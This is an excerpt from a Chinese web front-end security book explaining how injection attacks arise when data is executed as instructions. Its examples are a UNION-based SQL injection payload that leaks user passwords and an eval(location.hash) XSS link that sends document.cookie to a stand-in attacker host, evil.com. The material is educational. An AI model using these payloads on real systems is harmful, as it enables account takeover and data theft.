- Web前端黑客技術(shù)揭秘
- 鐘晨鳴 徐少培編著
- 1186字
- 2018-11-08 18:57:36
1.1 數(shù)據(jù)與指令
用瀏覽器打開一個網(wǎng)站,呈現(xiàn)在我們面前的都是數(shù)據(jù),有服務(wù)端存儲的(如:數(shù)據(jù)庫、內(nèi)存、文件系統(tǒng)等)、客戶端存儲的(如:本地Cookies、Flash Cookies等)、傳輸中的(如:JSON數(shù)據(jù)、XML數(shù)據(jù)等),還有文本數(shù)據(jù)(如:HTML、JavaScript、CSS等)、多媒體數(shù)據(jù)(如:Flash、MP3等)、圖片數(shù)據(jù)等。
這些數(shù)據(jù)構(gòu)成了我們看到的Web世界,它表面豐富多彩,背后卻是暗流涌動。在數(shù)據(jù)流的每一個環(huán)節(jié)都可能出現(xiàn)安全風(fēng)險(xiǎn)。因?yàn)閿?shù)據(jù)流有可能被“污染”,而不像預(yù)期的那樣存儲或傳輸。
如何存儲、傳輸并呈現(xiàn)出這些數(shù)據(jù),這需要執(zhí)行指令,可以這樣理解:指令就是要執(zhí)行的命令。正是這些指令被解釋執(zhí)行,才產(chǎn)生對應(yīng)的數(shù)據(jù)內(nèi)容,而不同指令的解釋執(zhí)行,由對應(yīng)的環(huán)境完成,比如:
select username,email,desc from users where id=1;
這是一條簡單的SQL查詢指令,當(dāng)這條指令被解釋執(zhí)行時,就會產(chǎn)生一組數(shù)據(jù),內(nèi)容由username/email/desc構(gòu)成,而解釋的環(huán)境則為數(shù)據(jù)庫引擎。
再如:
<script> eval(location.hash.substr(1)); </script>
<script></script>標(biāo)簽內(nèi)的是一句JavaScript指令,由瀏覽器的JS引擎來解釋執(zhí)行,解釋的結(jié)果就是數(shù)據(jù)。而<script></script>本身卻是HTML指令(俗稱HTML標(biāo)簽),由瀏覽器DOM引擎進(jìn)行渲染執(zhí)行。
如果數(shù)據(jù)與指令之間能各司其職,那么Web世界就非常太平了。可你見過太平盛世真正存在嗎?當(dāng)正常的數(shù)據(jù)內(nèi)容被注入指令內(nèi)容,在解釋的過程中,如果注入的指令能夠被獨(dú)立執(zhí)行,那么攻擊就發(fā)生了。
我們來看上面兩個例子的攻擊場景。
1.SQL注入攻擊的發(fā)生
select username,email,desc from users where id=1;
下面以MySQL環(huán)境為例進(jìn)行說明,在這條SQL語句中,如果id的值來自用戶提交,并且用戶是通過訪問鏈接(http://www.foo.com/user.php?id=1)來獲取自身的賬號信息的。當(dāng)訪問這樣的鏈接時,后端會執(zhí)行上面這條SQL語句,并返回對應(yīng)id號的用戶數(shù)據(jù)給前端顯示。那么普通用戶會規(guī)規(guī)矩矩地對id提交整型數(shù)值,如1、2、3等,而邪惡的攻擊者則會提交如下形式的值:
1 union select password,1,1 from users
組成的鏈接形式為:
http://www.foo.com/user.php?id=1 union select password,1,1 from users
組成的SQL語句為:
select username,email,desc from users where id=1 union select password,1,1 from users
看到了嗎?組成的SQL語句是合法的,一個經(jīng)典的union查詢,此時注入的指令內(nèi)容就會被當(dāng)做合法指令執(zhí)行。當(dāng)這樣的攻擊發(fā)生時,users表的password就很可能泄漏了。
2.XSS跨站腳本攻擊的發(fā)生
<script> eval(location.hash.substr(1)); </script>
將這段代碼保存到http://www.foo.com/info.html中。
JavaScript的內(nèi)置函數(shù)eval可以動態(tài)執(zhí)行JavaScript語句,location.hash獲取的是鏈接http://www.foo.com/info.html#callback中的#符號及其后面的內(nèi)容。substr是字符串截取函數(shù),location.hash.substr(1)表示截取#符號之后的內(nèi)容,隨后給eval函數(shù)進(jìn)行動態(tài)執(zhí)行。
如果攻擊者構(gòu)造出如下鏈接:
http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)
瀏覽器解釋執(zhí)行后,下面的語句:
eval(location.hash.substr(1));
會變?yōu)椋?/p>
eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')
當(dāng)被攻擊者被誘騙訪問了該鏈接時,Cookies會話信息就會被盜取到黑客的網(wǎng)站上,一般情況下,黑客利用該Cookies可以登錄被攻擊者的賬號,并進(jìn)行越權(quán)操作。由此可以看到,攻擊的發(fā)生是因?yàn)樽⑷肓艘欢螑阂獾闹噶睿⑶以撝噶钅鼙粓?zhí)行。
題外話:
跨站攻擊發(fā)生在瀏覽器客戶端,而SQL注入攻擊由于針對的對象是數(shù)據(jù)庫,一般情況下,數(shù)據(jù)庫都在服務(wù)端,所以SQL注入是發(fā)生在服務(wù)端的攻擊。為什么這里說“一般情況下”,那是因?yàn)镠TML5提供了一個新的客戶端存儲機(jī)制:在瀏覽器端,使用SQLite數(shù)據(jù)庫保存客戶端數(shù)據(jù),該機(jī)制允許使用JavaScript腳本操作SQL語句,從而與本地?cái)?shù)據(jù)庫進(jìn)行交互。
- 白話網(wǎng)絡(luò)安全2:網(wǎng)安戰(zhàn)略篇
- 黑客大曝光:無線網(wǎng)絡(luò)安全(原書第3版)
- 大型互聯(lián)網(wǎng)企業(yè)安全架構(gòu)
- 信息系統(tǒng)安全檢測與風(fēng)險(xiǎn)評估
- 計(jì)算機(jī)病毒原理與防范(第2版)
- 數(shù)字化轉(zhuǎn)型浪潮下的數(shù)據(jù)安全最佳實(shí)踐指南
- 計(jì)算機(jī)網(wǎng)絡(luò)安全基礎(chǔ)(第5版)
- 網(wǎng)絡(luò)安全設(shè)計(jì)、配置與管理大全
- 網(wǎng)絡(luò)安全應(yīng)急響應(yīng)實(shí)戰(zhàn)
- 數(shù)據(jù)安全架構(gòu)設(shè)計(jì)與實(shí)戰(zhàn)
- 信息技術(shù)基礎(chǔ):提高篇·實(shí)驗(yàn)與習(xí)題
- 捍衛(wèi)隱私
- 黑客攻擊與防范實(shí)戰(zhàn)從入門到精通
- Web安全攻防從入門到精通
- 云計(jì)算安全:關(guān)鍵技術(shù)、原理及應(yīng)用